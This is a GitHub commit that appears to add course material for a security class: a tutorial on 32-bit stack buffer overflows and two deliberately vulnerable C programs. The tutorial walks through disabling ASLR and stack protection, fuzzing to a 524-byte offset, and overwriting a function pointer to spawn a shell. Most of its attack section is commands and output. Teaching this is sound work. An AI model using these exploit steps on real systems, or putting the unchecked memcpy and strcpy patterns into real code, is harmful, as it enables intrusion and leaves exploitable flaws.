Skip to content
Permalink
Browse files
Slides Update
  • Loading branch information
aa9863 committed Nov 18, 2020
1 parent f0ab646 commit cccead77f05eb1630d8ad6196bb8bd8f28026ccd
Show file tree
Hide file tree
Showing 2 changed files with 369 additions and 0 deletions.
@@ -0,0 +1,345 @@
# Introduction

In the last article we looked how programs allocate memory when
calling functions, this time we will examine what happens when a value
stored on the stack overflows.

## Overflowing Data on the Stack
When a C program defines a Variable, space is allocated on the stack
for the data. So in our example above ```theString[10]```, ten 'slots'
of memory on the stack will be allocated.

If there are multiple variables, then space will be allocated for all
of them sequentially on the stack, consider the following code:

~~~ c
char theString[10];
int firstNumber;
int secondNumber;
~~~

Space on the stack for each of the variables would be allocated:

- 10 Bytes, for theString variable.
- 4 Bytes, for the firstNumber variable.
- 4 Bytes, for the secondNumber variable.

So our stack could conceivably look like this

| Memory Address | Variable |
|----------------|--------------|
| 0 | TheString |
| 10 | firstNumber |
| 14 | secondNumber |


> NOTE: The order of the variables in the code, may not necessary
> correspond to the order on the stack. The compiler may optimise the
> variable order to let variable addresses align and improve
> efficiency. This has bitten me in interesting ways in the past.
Now for the interesting part, Lets imagine we assign 4 bytes of data
to the String variable, the program will.

- Lookup the address for the start of the variable on the stack (Address 0)
- Write the 4 bytes of data sequentially, starting from that
address. (Ie address slots 0-3)

This is great, so far we haven't broken anything. However if we try to
write 12 Items we get a problem, as there are no checks done on the
length of the expected data, we end up writing to address slots
(0-11), this will overwrite the first two bytes of the value stored in
the *firstNumber* variable.

However, its not just variables that are stored on the stack. Recall
from the previous article, that the stack frame also contains a
**Return Address**, that is used to tell the program the next
instruction to execute when the function ends.

This address is also not protected, and can be overwritten by the
overflow. This is at the core of the buffer overflow attack, if we
can control what happens when the function exits, then we can tell the
program what to do.

[You can see a video demonstrating this](3-BufferOverflows)


## My First overflow.

That's enough theory, lets get on and break something. This example is
a simple buffer overflow where we are going to redirect the program
flow to change the way the program behaves.

The code for this task is [MyFirstOverflow.c](), Lets see what it does:

~~~ c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int BUFFER=500;
void win(void){
/*Win Condition
We Want to jump here
*/
printf("\n ===== Win ===== \n\n");
system("/bin/sh"); //Tradition to get a shell
}
void lose(void){
/* Lose Condition */
printf("Current Memory Address is %p\n",lose);
printf("Aim for %p\n", win);
printf("Lose :(\n");
}
int main(int argc, char* argv[]){
/* Main Function*/
//Pointer to the lose function
void (*fp)(void) = lose;
char buffer[BUFFER];
if (argc != 2){
printf("Overflow the buffer\n");
printf("Hint! Try `python -c \"print 'A'*100\"`\n");
return -1;
}
memcpy(buffer, argv[1], strlen(argv[1]));
printf("Off to %p\n",fp);
fp();
return 0;
}
~~~

There are two functions, one each for a Win and Lose condition. We also have the Main function that:

- Stores a pointer to the lose function as a variable
- Allocates a buffer of 500 Bytes.
- Copy's user input into this buffer
- Calls the pointer stored in the variable.

## Compiling the Code and Turning off the protection mechanisms

We are also going to do this in "Easy Mode" by turning off the various
protection mechanisms, and compiling the code in 32 Bit mode (this is not essential, but quirks in 64 bit addressing make it harder, lets an already complex thing simple and deal with 64 bits later)


We First want to turn off ASLR. On your Kali VM you can do this by changing the value in proc.
Note that you will need to be root.

~~~ term
$sudo su
[sudo] password for dang:
[root@dang-laptop Code]# echo 0 > /proc/sys/kernel/randomize_va_space
[root@dang-laptop Code]# exit
exit
~~~

We also compile the code in 32bit mode, with stack canaries turned off. (If it gives you an error about 32bit libraries not being available you can install them with ```apt install gcc-multilib```)

~~~ term
gcc -fno-stack-protector -m32 -g -z execstack MyFirstOverflow.c -o FirstOverflow
~~~

## Overflowing the Buffer.

When we run the code, we get a prompt asking for Input. Specifying an
argument takes us to the Lose condition.

>NOTE: If you run the code a couple of times and the memory addresses
>change, you need to check ASLR is turned off.
~~~
$./FirstOverflow
Overflow the buffer
Hint! Try `python -c "print 'A'*100"`
$./FirstOverflow A
Off to 0x56556209
Current Memory Address is 0x56556209
Aim for 0x565561cd
Lose :(
~~~

We know from the source we need over 500 Bytes of data for the
overflow. We could sit and press "A" 500 times, or we could
cheat. Python allows one liners to be executed in-line using the
```-c``` flag. For example
~~~
$python2 -c "print 'A'*25"
AAAAAAAAAAAAAAAAAAAAAAAAA
~~~
To get this to run as an argument to the function we need to tell the shell to evaluate the python command before passing it as an argument (Otherwise we full the buffer with the string "python2 -c "print 'A'*25"").
We can use Backticks (`) NOTE: backticks are not the single quote. On a UK keyboard they are at the top left, next to the 1 key. Alternative we could use the Dollar Syntax ```$(command)```.
Lets pick a big number like 600 that should break the program:
~~~
#Using Backticks
$./FirstOverflow `python2 -c "print 'A'*600"`
Off to 0x41414141
[2] 6946 segmentation fault (core dumped) ./FirstOverflow `python2 -c "print 'A'*600"`
#Uing the Dollar Syntax
$./FirstOverflow $(python2 -c "print 'A'*600")
Off to 0x41414141
[2] 6865 segmentation fault (core dumped) ./FirstOverflow $(python2 -c "print 'A'*600")
~~~
## Getting Control of the Instruction Pointer.
So we get an error message printed, then the program falls over with a
segfault. This shows something is happening with the overflow. Our next
stage is to get hold of the Instruction pointer so we can modify the
code behaviour.
Usually, this would mean a detour into a debugger to examine the
register values. However, whoever wrote this code did a great job, and
added a bit of magic that prints the instruction pointer before things
fall over.
To get find the offset we need to Control EIP we use a process called
"Fuzzing the Buffer", Modifying the input values until we start to get
data we control in IP. I like to use a binary search approach, as it
means I can zero in on the values needed quickly.
~~~
#600 Is to much data
$./FirstOverflow `python2 -c "print 'A'*600"`
Off to 0x41414141
[2] 7162 segmentation fault (core dumped) ./FirstOverflow `python2 -c "print 'A'*600"`
#500 Isn't enough
$./FirstOverflow `python2 -c "print 'A'*500"`
Off to 0x56556209
Current Memory Address is 0x56556209
Aim for 0x565561cd
Lose :(
#Try a value halfway between 500 and 600, which to too high
$./FirstOverflow `python2 -c "print 'A'*550"`
Off to 0x41414141
[2] 7317 segmentation fault (core dumped) ./FirstOverflow `python2 -c "print 'A'*550"`
#Halfway between 500 and 550...
$./FirstOverflow `python2 -c "print 'A'*525"`
Off to 0x56556241
[2] 7396 illegal hardware instruction (core dumped) ./FirstOverflow `python2 -c "print 'A'*525"`
~~~
At 525 Bytes of input, something interesting happens. We don't get a
Segfault, but instead an Illegal Instruction. We can also see that the last value of the address we are heading to is **41** (ASCII for "A"). This shows us we are getting close to controlling EIP, increasing the number of 'A's gives us two 41's in the register.
~~~
$./FirstOverflow `python2 -c "print 'A'*526"`
Off to 0x56554141
[2] 7478 segmentation fault (core dumped) ./FirstOverflow `python2 -c "print 'A'*526"`
~~~
So we can infer that the offset to control EIP is 524 Characters, with
the next 4 being the value stored in EIP.
I like to double check this by submitting the offset, then four 'B's.
If EIP then contains 42424242, I know I control it, I could use any
character, but B seems like the answer to everything ;)
~~~
$./FirstOverflow `python2 -c "print 'A'*524+'BBBB'"`
Off to 0x42424242
[2] 7577 segmentation fault (core dumped) ./FirstOverflow `python2 -c "print 'A'*524+'BBBB'
~~~
So I get 4 B's in the value for EIP. They don't appear anywhere else in
my input which means I control the Instruction pointer (and therefore
the next address the program will execute)
## Changing Program Flow.
Now we need to change the address the program will execute when it
calls the function. Running the program without an overflow gives us
the Address we need to aim for ```0x565561cd```
~~~
$./FirstOverflow `python2 -c "print 'A'*500+'BBBB'"`
Off to 0x56556209
Current Memory Address is 0x56556209
Aim for 0x565561cd
Lose :(
~~~
We now encounter our last problem. Another holy war in coding revolves
around how we store (or the endianness) memory addresses.
The x86 architecture uses a "little endian" approach, where the byte
order of the address is reversed. We can see this is we use the input
'BCDE' as the value we overflow EIP with.
~~~
$./FirstOverflow `python2 -c "print 'A'*524+'BCDE'"`
Off to 0x45444342
~~~
Notice that the address we will visit is 0x45 (E) 0x44 (D) 0x43 (C)
0x42 (B). So we need to fix the endianness of the address we want to
jump to when we add it to the overflow.
The process I take is to break the address into bytes, then reverse the
order of those pairs. So ```0x565561cd``` Becomes
```0x56```,```0x55```,```0x61```,```0xCD```
Reversed that is ```0xCD 0x61 0x55 0x56```. Lets enter this into our
python code to overflow the buffer, in python we can use ```\x``` to
represent a hex pair.
~~~
$./FirstOverflow `python2 -c "print 'A'*524+'\xcd\x61\x55\x56'"`
Off to 0x565561cd
===== Win =====
sh-5.0$
~~~
So we get the win condition, and drop a shell.
## Summary
In this article we have completed our first buffer overflow, using a
flawed in the code to redirect program flow. There have been quite a
few concepts covered here, but we have our basic buffer overflow exploit procedure.
- Overflow the buffer so the code breaks
- Fuzz the buffer to find the offset we need to Control EIP
- Calculate the target address
- Use this, and the offset to modify the codes behaviour.
In the next article we look at the differences between 32 and 64 bit
overflows, and break our code on a more common architecture.
# Task
Work through the example, and try to get a shell.
When it comes to the task, you may want to modify the size of the
buffer you are working with. This should help you practice finding
the offset for EIP.
Its also possible to break the code without using a 4 byte address,
(ie we don't need to enter the whole target address), can you think of
why this is, discuss in the forums.
# Links
- Aleph One's "Smashing the Stack for Fun and Profit"
<http://phrack.org/issues/49/14.html>
@@ -0,0 +1,24 @@
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int BUFFER=200;

int copy(char* input){
char buffer[BUFFER];
strcpy(buffer, input);

}

int main(int argc, char* argv[]){
/* Main Function*/
char buf[400];
printf("Smash The Stack\n");
//Get the data
int r;
r = read(0, buf, 400); //Save Version

int out = copy(buf);
printf("Lose :(\n");
return 0;
}

0 comments on commit cccead7

Please sign in to comment.